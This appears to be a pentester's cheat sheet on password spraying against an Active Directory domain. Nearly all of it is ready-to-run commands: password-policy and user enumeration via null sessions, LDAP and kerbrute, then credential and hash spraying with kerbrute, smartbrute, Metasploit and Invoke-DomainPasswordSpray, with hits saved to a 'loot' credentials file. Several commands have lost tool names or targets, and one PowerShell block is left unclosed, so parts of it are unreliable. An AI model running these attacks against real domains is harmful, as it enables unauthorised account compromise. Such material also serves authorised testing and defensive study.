Password Spraying

Password Policy

Enumerate password policy in the domain:
$ cme smb -u snovvcrash -p 'Passw0rd!' --pass-pol
Cmd > net accounts /domain
PS > Get-ADDefaultDomainPasswordPolicy
PV3 > Get-DomainPolicyData | select -ExpandProperty SystemAccess
Example of net accounts output:
Name (EN)
Name (RU)
Minimum password age (days):
Минимальный срок действия пароля (дней):
Maximum password age (days):
Максимальный срок действия пароля (дней):
Minimum password length:
Минимальная длина пароля:
Length of password history maintained:
Хранение неповторяющихся паролей:
Lockout threshold:
Блокировка после ошибок ввода пароля:
Lockout duration (minutes):
Длительность блокировки (минут):
Lockout observation window (minutes):
Сброс счетчика блокировок через (минут):

Fine-Grained Password Policies

Map FGPPs to the users they're being applied to (need admin privileges by default):
ForEach ($fgpp in (Get-ADFineGrainedPasswordPolicy -Filter * -Properties Description)) {
$appliesTo = $fgpp | select -ExpandProperty AppliesTo
$objectClass = (Get-ADObject $appliesTo).ObjectClass
Write-Host -ForegroundColor Yellow "`r`nFine Grained Password Policy: $"
$fgpp | Out-Host
If ($objectClass -eq "group") {
Get-ADGroupMember $appliesTo -Recursive | ? {$_.objectClass -eq "user"} | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
ElseIf ($objectClass -eq "user") {
Get-ADUser $appliesTo | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
When it's critical not to cause a lockout on a user account with a FGPP applied, the safest approach would be to exclude users with msDS-PSOApplied or msDS-ResultantPSO properties populated (can be read by a regular user) from the spray list.
Check if exists:
PS > Get-ADUser snovvcrash -Properties * | select msDS-PSOApplied
PS > Get-ADUser snovvcrash -Properties msDS-ResultantPSO | select msDS-ResultantPSO

Get Domain Users

Non-Authenticated (Null Session)

If SMB null sessions are allowed on the DC, an adversary can get a list of all domain users via RID Cycling.
Another approach is to manually request all users via RPC ($IPC share):
  • CrackMapExec:
$ cme smb DCs.txt -u '' -p ''
$ cme smb DCs.txt -u '' -p '' --users
$ cme smb DCs.txt -u '' -p '' --groups
  • rpcclient:
$ rpcclient -N -U ''
rpcclient gt; enumdomusers
rpcclient gt; enumdomgroups
  • net:
$ net rpc group members 'Domain Users' -W 'MEGACORP' -I '' -U '%'
  • smbclient (check):
$ smbclient -N -U '' -L
$ enum4linux -v -a | tee ~/ws/log/enum4linux.out


Query LDAP for all domain user accounts via
$ MEGACORP/snovvcrash:'Passw0rd!' -all -dc-ip | tee ~/ws/logs/GetADUsers.out
Query LDAP for all domain user accounts via windapsearch:
$ python3 --dc-ip -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U | tee ~/ws/logs/windapsearch.out
$ cat ~/ws/logs/windapsearch.out | grep userPrincipalName | grep -v -e '{' -e '}' -e HealthMailbox | awk '{print $2}' | awk [email protected] '{print $1}' | perl -nle 'print if m{^[[:ascii:]]+$}' > ~/ws/enum/all-users.txt
Query LDAP for all active domain user accounts via go-windapsearch:
$ windapsearch --dc -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' --attrs sAMAccountName,mail,pwdLastSet,lastLogon | tee ~/ws/logs/windapsearch.out
$ cat ~/ws/logs/windapsearch.out | grep -i samaccountname | grep -v -e '{' -e '}' -e HealthMailbox -e '\$' | awk '{print $2}' | perl -nle 'print if m{^[[:ascii:]]+$}' | sort -u > ~/ws/enum/all-users-active.txt


msf > use auxiliary/scanner/smb/smb_login
msf > set RHOSTS <DC_IP>
msf > set SMBDomain megacorp.local
msf > set SMBPass Passw0rd!
msf > set USER_FILE /home/snovvcrash/ws/enum/all-users.txt
msf > set VERBOSE False
msf > run


Generate a wordlist of common usernames in an appropriate format and validate it against KDC (doesn't cause accounts lock out):
$ kerbrute userenum -d megacorp.local -o ~/ws/logs/kerbrute-userenum.log ~/ws/enum/names.txt
$ cat ~/ws/logs/kerbrute-userenum.log | grep VALID | awk '{print $7}' | awk [email protected] '{print $1}' > ~/ws/enum/valid-users.txt
Perform password spraying for discovered accounts:
$ kerbrute -v --delay 100 passwordspray -d megacorp.local -o ~/ws/logs/kerbrute-passwordspray-'123456'.log ~/ws/enum/valid-users.txt '123456'
$ cat ~/ws/logs/kerbrute-passwordspray-*.log | grep VALID | awk '{print $7}' >> ~/ws/loot/creds.txt


$ python2 megacorp.local users.txt ntlmhash fc525c9683e8fe067095ba2ddc971889 udp


Spray single hash against a list of users:
$ smartbrute -v brute --delay 100 --no-enumeration -bU users.txt -bh <HASH_TO_SPRAY> kerberos -d megacorp.local --kdc-ip
Get domain password policy and active users:
$ smartbrute -v smart {--policy|--users} ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip
Launch smart password spray with a hash:
$ smartbrute -v smart --delay 100 -bh <HASH_TO_SPRAY> ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip kerberos


PS > Invoke-DomainPasswordSpray -UserList .\all-users.txt -Domain megacorp.local -Password 'Passw0rd!' -OutFile spray-results.txt